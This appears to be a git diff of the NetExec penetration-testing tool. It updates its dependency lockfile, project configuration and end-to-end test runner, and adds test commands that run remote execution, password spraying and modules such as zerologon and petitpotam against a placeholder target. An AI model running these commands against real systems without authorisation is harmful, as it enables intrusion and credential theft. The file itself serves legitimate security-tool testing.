{file = "dploot-2.7.1-py3-none-any.whl", hash = "sha256:4d557a88c4fd6f6a53f45333ccb853e4125f0bf101d5336937ac1f6c0afb7171"},
|
||||
{file = "dploot-2.7.1.tar.gz", hash = "sha256:bcd2f9c6b6647d83b5d62f0446a0fdeb7eefacc6f71a49a8dd18ef43538d5db6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -659,6 +659,20 @@ files = [
|
||||
{file = "dsinternals-1.2.4.tar.gz", hash = "sha256:030f935a70583845f68d6cfc5a22be6ce3300907788ba74faba50d6df859e91d"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "dunamai"
|
||||
version = "1.19.2"
|
||||
description = "Dynamic version generation"
|
||||
optional = false
|
||||
python-versions = ">=3.5"
|
||||
files = [
|
||||
{file = "dunamai-1.19.2-py3-none-any.whl", hash = "sha256:bc126b17571a44d68ed826cec596e0f61dc01edca8b21486f70014936a5d44f2"},
|
||||
{file = "dunamai-1.19.2.tar.gz", hash = "sha256:3be4049890763e19b8df1d52960dbea60b3e263eb0c96144a677ae0633734d2e"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
packaging = ">=20.9"
|
||||
|
||||
[[package]]
|
||||
name = "exceptiongroup"
|
||||
version = "1.2.0"
|
||||
@@ -817,7 +831,7 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "impacket"
|
||||
version = "0.12.0.dev1+20240215.65950.da6f5255"
|
||||
version = "0.12.0.dev1+20240327.181547.f8899e65"
|
||||
description = "Network protocols Constructors and Dissectors"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
@@ -826,11 +840,11 @@ develop = false
|
||||
|
||||
[package.dependencies]
|
||||
charset_normalizer = "*"
|
||||
dsinternals = "*"
|
||||
flask = ">=1.0"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldapdomaindump = ">=0.9.0"
|
||||
pyasn1 = ">=0.2.3"
|
||||
pyasn1_modules = "*"
|
||||
pycryptodomex = "*"
|
||||
pyOpenSSL = ">=21.0.0"
|
||||
setuptools = "*"
|
||||
@@ -838,9 +852,9 @@ six = "*"
|
||||
|
||||
[package.source]
|
||||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/impacket.git"
|
||||
reference = "gkdi"
|
||||
resolved_reference = "da6f52552b7d15f177587d902b3405e0aa07f22e"
|
||||
url = "https://github.com/fortra/impacket.git"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "f8899e65f16c50b871863528d419cfb701a5a3e3"
|
||||
|
||||
[[package]]
|
||||
name = "importlib-metadata"
|
||||
@@ -933,13 +947,13 @@ ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
|
||||
[[package]]
|
||||
name = "lsassy"
|
||||
version = "3.1.9"
|
||||
version = "3.1.11"
|
||||
description = "Python library to extract credentials from lsass remotely"
|
||||
optional = false
|
||||
python-versions = ">=3.6"
|
||||
files = [
|
||||
{file = "lsassy-3.1.9-py3-none-any.whl", hash = "sha256:8497168efe43147d639671c5ea3d4b04b7d8c4336f77286b767fca0edca6c830"},
|
||||
{file = "lsassy-3.1.9.tar.gz", hash = "sha256:75d7038915dea31b6380488befedb4081e1fdade9a68d6f7cb5b4cf6c93b9970"},
|
||||
{file = "lsassy-3.1.11-py3-none-any.whl", hash = "sha256:ee9588761f307e9bba66485cfb60597091db232d2aadde27bcb0504f8faea7ba"},
|
||||
{file = "lsassy-3.1.11.tar.gz", hash = "sha256:0cfad66c53bee67e84810d73058fd70f15aa7570a0e96009d57160dfda1fb8cf"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -1285,13 +1299,13 @@ files = [
|
||||
|
||||
[[package]]
|
||||
name = "msldap"
|
||||
version = "0.5.9"
|
||||
version = "0.5.10"
|
||||
description = "Python library to play with MS LDAP"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "msldap-0.5.9-py3-none-any.whl", hash = "sha256:26c0418086f788c1197341ee31d4ffbc69c057aef339cd91e882ca7c1fb10fcb"},
|
||||
{file = "msldap-0.5.9.tar.gz", hash = "sha256:5f3c4e362296e0e1eba447eda9f230988a7b2a08826f7b3ed34ec9612ebcfe33"},
|
||||
{file = "msldap-0.5.10-py3-none-any.whl", hash = "sha256:263a4bfa832f3b9f27163e5a752151608283745dba22ad8d7c560ae18e0e193b"},
|
||||
{file = "msldap-0.5.10.tar.gz", hash = "sha256:65bfe0e502c94d26f45d366f567cdb62462f27f655bd0ae2f0228fe3c9f989b8"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -1495,6 +1509,25 @@ files = [
|
||||
dev = ["pre-commit", "tox"]
|
||||
testing = ["pytest", "pytest-benchmark"]
|
||||
|
||||
[[package]]
|
||||
name = "poetry-dynamic-versioning"
|
||||
version = "1.2.0"
|
||||
description = "Plugin for Poetry to enable dynamic versioning based on VCS tags"
|
||||
optional = false
|
||||
python-versions = ">=3.7,<4.0"
|
||||
files = [
|
||||
{file = "poetry_dynamic_versioning-1.2.0-py3-none-any.whl", hash = "sha256:8dbef9728d866eb3d1a4edbb29c7ac8abdf96e3ca659473e950e2c016f3785ec"},
|
||||
{file = "poetry_dynamic_versioning-1.2.0.tar.gz", hash = "sha256:1a7bbdba2530499e73dfc6ac0af19de29020ab4aaa3e507573877114e6b71ed6"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
dunamai = ">=1.18.0,<2.0.0"
|
||||
jinja2 = ">=2.11.1,<4"
|
||||
tomlkit = ">=0.4"
|
||||
|
||||
[package.extras]
|
||||
plugin = ["poetry (>=1.2.0,<2.0.0)"]
|
||||
|
||||
[[package]]
|
||||
name = "prompt-toolkit"
|
||||
version = "3.0.43"
|
||||
@@ -2142,13 +2175,13 @@ widechars = ["wcwidth"]
|
||||
|
||||
[[package]]
|
||||
name = "termcolor"
|
||||
version = "2.0.1"
|
||||
version = "2.4.0"
|
||||
description = "ANSI color formatting for output in terminal"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
python-versions = ">=3.8"
|
||||
files = [
|
||||
{file = "termcolor-2.0.1-py3-none-any.whl", hash = "sha256:7e597f9de8e001a3208c4132938597413b9da45382b6f1d150cff8d062b7aaa3"},
|
||||
{file = "termcolor-2.0.1.tar.gz", hash = "sha256:6b2cf769e93364a2676e1de56a7c0cff2cf5bd07f37e9cc80b0dd6320ebfe388"},
|
||||
{file = "termcolor-2.4.0-py3-none-any.whl", hash = "sha256:9297c0df9c99445c2412e832e882a7884038a25617c60cea2ad69488d4040d63"},
|
||||
{file = "termcolor-2.4.0.tar.gz", hash = "sha256:aab9e56047c8ac41ed798fa36d892a37aca6b3e9159f3e0c24bc64a9b3ac7b7a"},
|
||||
]
|
||||
|
||||
[package.extras]
|
||||
@@ -2176,6 +2209,17 @@ files = [
|
||||
{file = "tomli-2.0.1.tar.gz", hash = "sha256:de526c12914f0c550d15924c62d72abc48d6fe7364aa87328337a31007fe8a4f"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tomlkit"
|
||||
version = "0.12.4"
|
||||
description = "Style preserving TOML library"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
files = [
|
||||
{file = "tomlkit-0.12.4-py3-none-any.whl", hash = "sha256:5cd82d48a3dd89dee1f9d64420aa20ae65cfbd00668d6f094d7578a78efbb77b"},
|
||||
{file = "tomlkit-0.12.4.tar.gz", hash = "sha256:7ca1cfc12232806517a8515047ba66a19369e71edf2439d0f5824f91032b6cc3"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "tqdm"
|
||||
version = "4.66.1"
|
||||
@@ -2307,4 +2351,4 @@ testing = ["big-O", "jaraco.functools", "jaraco.itertools", "more-itertools", "p
|
||||
[metadata]
|
||||
lock-version = "2.0"
|
||||
python-versions = "^3.8.0"
|
||||
content-hash = "0bbd6a14b3478776b71e58b674942a5053c24fd2f802cc45ccd968f205a80167"
|
||||
content-hash = "7bde962ed54681c55a1249f2f8272ebf64109417f2a28293eab3eea90ce05c6f"
|
||||
+132
-126
@@ -1,126 +1,132 @@
|
||||
[tool.poetry]
|
||||
name = "netexec"
|
||||
version = "1.1.0"
|
||||
description = "The Network Execution tool"
|
||||
authors = [
|
||||
"Marshall Hallenbeck <[email protected]>",
|
||||
"Alexander Neff <[email protected]>",
|
||||
"Thomas Seigneuret <[email protected]>"
|
||||
]
|
||||
readme = "README.md"
|
||||
homepage = "https://github.com/Pennyw0rth/NetExec"
|
||||
repository = "https://github.com/Pennyw0rth/NetExec"
|
||||
exclude = []
|
||||
include = [
|
||||
"nxc/data/*",
|
||||
"nxc/modules/*"
|
||||
]
|
||||
license = "BSD-2-Clause"
|
||||
classifiers = [
|
||||
'Environment :: Console',
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'Programming Language :: Python :: 3',
|
||||
'Topic :: Security',
|
||||
]
|
||||
packages = [
|
||||
{ include = "nxc"}
|
||||
]
|
||||
|
||||
[tool.poetry.scripts]
|
||||
nxc = 'nxc.netexec:main'
|
||||
netexec = 'nxc.netexec:main'
|
||||
NetExec = 'nxc.netexec:main'
|
||||
nxcdb = 'nxc.nxcdb:main'
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.8.0"
|
||||
requests = ">=2.27.1"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
lsassy = ">=3.1.8"
|
||||
termcolor = "2.0.1"
|
||||
msgpack = "^1.0.0"
|
||||
neo4j = "^5.0.0"
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
paramiko = "^3.3.1"
|
||||
impacket = { git = "https://github.com/Pennyw0rth/impacket.git", branch = "gkdi" }
|
||||
dsinternals = "^1.2.4"
|
||||
xmltodict = "^0.13.0"
|
||||
terminaltables = "^3.1.0"
|
||||
aioconsole = "^0.6.2"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
minikerberos = "^0.4.1"
|
||||
pypykatz = "^0.6.8"
|
||||
aardwolf = "^0.2.7"
|
||||
dploot = "^2.2.1"
|
||||
bloodhound = "^1.6.1"
|
||||
asyauth = "~0.0.14"
|
||||
masky = "^0.2.0"
|
||||
sqlalchemy = "^2.0.4"
|
||||
aiosqlite = "^0.19.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
rich = "^13.3.5"
|
||||
python-libnmap = "^0.7.3"
|
||||
oscrypto = { git = "https://github.com/Pennyw0rth/oscrypto" } # Pypi version currently broken, see: https://github.com/wbond/oscrypto/issues/78 (as of 9/23)
|
||||
argcomplete = "^3.1.4"
|
||||
python-dateutil = ">=2.8.2"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
flake8 = "*"
|
||||
shiv = "*"
|
||||
pytest = "^7.2.2"
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=1.2.0"]
|
||||
build-backend = "poetry.core.masonry.api"
|
||||
|
||||
[tool.ruff]
|
||||
# Ruff doesn't enable pycodestyle warnings (`W`) or
|
||||
# McCabe complexity (`C901`) by default.
|
||||
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
|
||||
# Should tackle flake8-use-pathlib (PTH) at some point
|
||||
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
|
||||
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
|
||||
|
||||
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
||||
fixable = ["ALL"]
|
||||
unfixable = []
|
||||
|
||||
# Exclude a variety of commonly ignored directories.
|
||||
exclude = [
|
||||
".bzr",
|
||||
".direnv",
|
||||
".eggs",
|
||||
".git",
|
||||
".git-rewrite",
|
||||
".hg",
|
||||
".mypy_cache",
|
||||
".nox",
|
||||
".pants.d",
|
||||
".pytype",
|
||||
".ruff_cache",
|
||||
".svn",
|
||||
".tox",
|
||||
".venv",
|
||||
"__pypackages__",
|
||||
"_build",
|
||||
"buck-out",
|
||||
"build",
|
||||
"dist",
|
||||
"node_modules",
|
||||
"venv",
|
||||
]
|
||||
per-file-ignores = {}
|
||||
|
||||
line-length = 65000
|
||||
|
||||
# Allow unused variables when underscore-prefixed.
|
||||
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
|
||||
|
||||
target-version = "py37"
|
||||
|
||||
[tool.ruff.flake8-quotes]
|
||||
docstring-quotes = "double"
|
||||
inline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
[tool.poetry]
|
||||
name = "netexec"
|
||||
version = "1.1.0"
|
||||
description = "The Network Execution tool"
|
||||
authors = [
|
||||
"Marshall Hallenbeck <[email protected]>",
|
||||
"Alexander Neff <[email protected]>",
|
||||
"Thomas Seigneuret <[email protected]>"
|
||||
]
|
||||
readme = "README.md"
|
||||
homepage = "https://github.com/Pennyw0rth/NetExec"
|
||||
repository = "https://github.com/Pennyw0rth/NetExec"
|
||||
exclude = []
|
||||
include = [
|
||||
"nxc/data/*",
|
||||
"nxc/modules/*"
|
||||
]
|
||||
license = "BSD-2-Clause"
|
||||
classifiers = [
|
||||
'Environment :: Console',
|
||||
'License :: OSI Approved :: BSD License',
|
||||
'Programming Language :: Python :: 3',
|
||||
'Topic :: Security',
|
||||
]
|
||||
packages = [
|
||||
{ include = "nxc"}
|
||||
]
|
||||
|
||||
[tool.poetry.scripts]
|
||||
nxc = 'nxc.netexec:main'
|
||||
netexec = 'nxc.netexec:main'
|
||||
NetExec = 'nxc.netexec:main'
|
||||
nxcdb = 'nxc.nxcdb:main'
|
||||
|
||||
[tool.poetry.dependencies]
|
||||
python = "^3.8.0"
|
||||
aardwolf = "^0.2.8"
|
||||
aioconsole = "^0.6.2"
|
||||
aiosqlite = "^0.19.0"
|
||||
argcomplete = "^3.1.4"
|
||||
asyauth = ">=0.0.20"
|
||||
beautifulsoup4 = ">=4.11,<5"
|
||||
bloodhound = "^1.7.2"
|
||||
dploot = "^2.7.1"
|
||||
dsinternals = "^1.2.4"
|
||||
impacket = { git = "https://github.com/fortra/impacket.git" }
|
||||
lsassy = ">=3.1.11"
|
||||
masky = "^0.2.0"
|
||||
minikerberos = "^0.4.1"
|
||||
msgpack = "^1.0.0"
|
||||
msldap = "^0.5.10"
|
||||
neo4j = "^5.0.0"
|
||||
paramiko = "^3.3.1"
|
||||
poetry-dynamic-versioning = "^1.2.0"
|
||||
pyasn1-modules = "^0.3.0"
|
||||
pylnk3 = "^0.4.2"
|
||||
pypsrp = "^0.8.1"
|
||||
pypykatz = "^0.6.8"
|
||||
pywerview = "^0.3.3" # pywerview 5 requires libkrb5-dev installed which is not default on kali (as of 9/23)
|
||||
python-dateutil = ">=2.8.2"
|
||||
python-libnmap = "^0.7.3"
|
||||
requests = ">=2.27.1"
|
||||
rich = "^13.3.5"
|
||||
sqlalchemy = "^2.0.4"
|
||||
termcolor = ">=2.4.0"
|
||||
terminaltables = "^3.1.0"
|
||||
xmltodict = "^0.13.0"
|
||||
|
||||
[tool.poetry.group.dev.dependencies]
|
||||
flake8 = "*"
|
||||
shiv = "*"
|
||||
pytest = "^7.2.2"
|
||||
ruff = "=0.0.292"
|
||||
|
||||
[build-system]
|
||||
requires = ["poetry-core>=1.2.0", "poetry-dynamic-versioning>=1.0.0,<2.0.0"]
|
||||
build-backend = "poetry_dynamic_versioning.backend"
|
||||
|
||||
[tool.poetry-dynamic-versioning]
|
||||
enable = true
|
||||
pattern = "(?P<base>\\d+\\.\\d+\\.\\d+)"
|
||||
format = "{base}+{commit}"
|
||||
|
||||
[tool.ruff]
|
||||
# Ruff doesn't enable pycodestyle warnings (`W`) or
|
||||
# McCabe complexity (`C901`) by default.
|
||||
# Other options: pep8-naming (N), flake8-annotations (ANN), flake8-blind-except (BLE), flake8-commas (COM), flake8-pyi (PYI), flake8-pytest-style (PT), flake8-unused-arguments (ARG), etc
|
||||
# Should tackle flake8-use-pathlib (PTH) at some point
|
||||
select = ["E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF"]
|
||||
ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012"]
|
||||
|
||||
# Allow autofix for all enabled rules (when `--fix`) is provided.
|
||||
fixable = ["ALL"]
|
||||
unfixable = []
|
||||
|
||||
# Exclude a variety of commonly ignored directories.
|
||||
exclude = [
|
||||
".bzr",
|
||||
".direnv",
|
||||
".eggs",
|
||||
".git",
|
||||
".git-rewrite",
|
||||
".hg",
|
||||
".mypy_cache",
|
||||
".nox",
|
||||
".pants.d",
|
||||
".pytype",
|
||||
".ruff_cache",
|
||||
".svn",
|
||||
".tox",
|
||||
".venv",
|
||||
"__pypackages__",
|
||||
"_build",
|
||||
"buck-out",
|
||||
"build",
|
||||
"dist",
|
||||
"node_modules",
|
||||
"venv",
|
||||
]
|
||||
per-file-ignores = {}
|
||||
|
||||
line-length = 65000
|
||||
|
||||
# Allow unused variables when underscore-prefixed.
|
||||
dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$"
|
||||
|
||||
target-version = "py37"
|
||||
|
||||
[tool.ruff.flake8-quotes]
|
||||
docstring-quotes = "double"
|
||||
inline-quotes = "double"
|
||||
multiline-quotes = "double"
|
||||
+1
-1
@@ -5,7 +5,7 @@
|
||||
* Run `pytest` (or `poetry run pytest`)
|
||||
|
||||
### End to End Tests
|
||||
* Install nxc (either in venv or via Poetry)
|
||||
* Install nxc (either in venv or via Poetry): `poetry install --with dev`
|
||||
* Run `python tests/e2e_tests.py -t $IP -u $USER -p $PASS`, with optional `-k` parameter
|
||||
* Poetry: `poetry run python tests/e2e_tests.py -t $IP -u $USER -p $PASS`
|
||||
* To see full errors (that might show real errors not caught by checking the exit code), run with the `--errors` flag
|
||||
@@ -1,5 +1,6 @@
|
||||
##### SMB
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --shares --filter-shares READ WRITE
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --pass-pol
|
||||
@@ -23,6 +24,9 @@ netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X whoami --obfs
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi "select Name from win32_computersystem"
|
||||
netexec --jitter 2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec --jitter 1-3 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec --jitter 2-2 smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
##### SMB Modules
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M add-computer --options
|
||||
@@ -150,7 +154,19 @@ netexec smb TARGET_HOST -u '' -p '' -M petitpotam
|
||||
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce
|
||||
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt --no-bruteforce --continue-on-success
|
||||
netexec smb TARGET_HOST -u data/test_users.txt -p data/test_passwords.txt
|
||||
##### WMI
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --wmi-namespace root/cimv2
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x whoami
|
||||
##### WMI Modules
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M ioxidresolver
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M spooler
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M zerologon
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M enum_dns
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M get_netconnections
|
||||
netexec wmi TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp
|
||||
##### LDAP
|
||||
netexec {DNS} ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --users
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --groups
|
||||
netexec ldap TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --get-sid
|
||||
@@ -204,6 +220,7 @@ netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-p
|
||||
netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --check-proto https --port 5986
|
||||
##### MSSQL
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
##### MSSQL Modules
|
||||
# netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD -M empire_exec
|
||||
netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -L
|
||||
@@ -221,6 +238,7 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_de
|
||||
#netexec smb TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdp -o ACTION=enable
|
||||
##### RDP
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex
|
||||
netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS
|
||||
netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-screenshot
|
||||
##### SSH - Default test passwords and random key; switch these out if you want correct authentication
|
||||
netexec ssh TARGET_HOST -u USERNAME -p PASSWORD
|
||||
|
||||
@@ -2,6 +2,7 @@ import argparse
|
||||
import os
|
||||
import subprocess
|
||||
from rich.console import Console
|
||||
import platform
|
||||
|
||||
|
||||
def get_cli_args():
|
||||
@@ -60,9 +61,36 @@ def get_cli_args():
|
||||
required=False,
|
||||
help="Protocols to test",
|
||||
)
|
||||
|
||||
parser.add_argument(
|
||||
"--line-nums",
|
||||
nargs="+",
|
||||
type=parse_line_nums,
|
||||
required=False,
|
||||
help="Specify line numbers or ranges to run commands from",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--print-failures",
|
||||
action="store_true",
|
||||
required=False,
|
||||
help="Prints all the commands of failed tests at the end"
|
||||
)
|
||||
parser.add_argument(
|
||||
"--dns-server",
|
||||
action="store",
|
||||
required=False,
|
||||
help="Specify DNS server",
|
||||
)
|
||||
return parser.parse_args()
|
||||
|
||||
def parse_line_nums(value):
|
||||
line_nums = []
|
||||
for item in value.split():
|
||||
if "-" in item:
|
||||
start, end = item.split("-")
|
||||
line_nums.extend(range(int(start), int(end) + 1))
|
||||
else:
|
||||
line_nums.append(int(item))
|
||||
return line_nums
|
||||
|
||||
def generate_commands(args):
|
||||
lines = []
|
||||
@@ -70,21 +98,35 @@ def generate_commands(args):
|
||||
commands_file = os.path.join(file_loc, "e2e_commands.txt")
|
||||
|
||||
with open(commands_file) as file:
|
||||
for line in file:
|
||||
if line.startswith("#"):
|
||||
continue
|
||||
line = line.strip()
|
||||
if args.protocols:
|
||||
if line.split()[1] in args.protocols:
|
||||
if args.line_nums:
|
||||
flattened_list = list({num for sublist in args.line_nums for num in sublist})
|
||||
for i, line in enumerate(file):
|
||||
if i + 1 in flattened_list:
|
||||
if line.startswith("#"):
|
||||
continue
|
||||
line = line.strip()
|
||||
if args.protocols:
|
||||
if line.split()[1] in args.protocols:
|
||||
lines.append(replace_command(args, line))
|
||||
else:
|
||||
lines.append(replace_command(args, line))
|
||||
else:
|
||||
for line in file:
|
||||
if line.startswith("#"):
|
||||
continue
|
||||
line = line.strip()
|
||||
if args.protocols:
|
||||
if line.split()[1] in args.protocols:
|
||||
lines.append(replace_command(args, line))
|
||||
else:
|
||||
lines.append(replace_command(args, line))
|
||||
else:
|
||||
lines.append(replace_command(args, line))
|
||||
return lines
|
||||
|
||||
def replace_command(args, line):
|
||||
kerberos = "-k " if args.kerberos else ""
|
||||
dns_server = f"--dns-server {args.dns_server}" if args.dns_server else ""
|
||||
|
||||
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos)
|
||||
line = line.replace("TARGET_HOST", args.target).replace("LOGIN_USERNAME", f'"{args.username}"').replace("LOGIN_PASSWORD", f'"{args.password}"').replace("KERBEROS ", kerberos).replace("{DNS}", dns_server)
|
||||
if args.poetry:
|
||||
line = f"poetry run {line}"
|
||||
return line
|
||||
@@ -93,6 +135,7 @@ def replace_command(args, line):
|
||||
def run_e2e_tests(args):
|
||||
console = Console()
|
||||
tasks = generate_commands(args)
|
||||
failures = []
|
||||
|
||||
result = subprocess.Popen(
|
||||
"netexec --version",
|
||||
@@ -107,10 +150,13 @@ def run_e2e_tests(args):
|
||||
failed = 0
|
||||
|
||||
while tasks:
|
||||
task = tasks.pop(0)
|
||||
console.log(f"Running command: {task!s}")
|
||||
task = str(tasks.pop(0))
|
||||
# replace double quotes with single quotes for Linux due to special chars/escaping
|
||||
if platform.system() == "Linux":
|
||||
task = task.replace('"', "'")
|
||||
console.log(f"Running command: {task}")
|
||||
result = subprocess.Popen(
|
||||
str(task),
|
||||
task,
|
||||
shell=True,
|
||||
stdin=subprocess.PIPE,
|
||||
stdout=subprocess.PIPE,
|
||||
@@ -125,6 +171,7 @@ def run_e2e_tests(args):
|
||||
passed += 1
|
||||
else:
|
||||
console.log(f"[bold red]{task.strip()} :cross_mark:[/]")
|
||||
failures.append(task.strip())
|
||||
failed += 1
|
||||
|
||||
if args.errors:
|
||||
@@ -136,6 +183,11 @@ def run_e2e_tests(args):
|
||||
if args.verbose:
|
||||
# this prints sorta janky, but it does its job
|
||||
console.log(f"[*] Results:\n{text.decode('utf-8')}")
|
||||
|
||||
if args.print_failures and failures:
|
||||
console.log("[bold red]Failed Commands:")
|
||||
for failure in failures:
|
||||
console.log(f"[bold red]{failure}")
|
||||
console.log(f"Tests [bold green] Passed: {passed} [bold red] Failed: {failed}")
|
||||
|
||||
|
||||
Reference in new issue
Block a user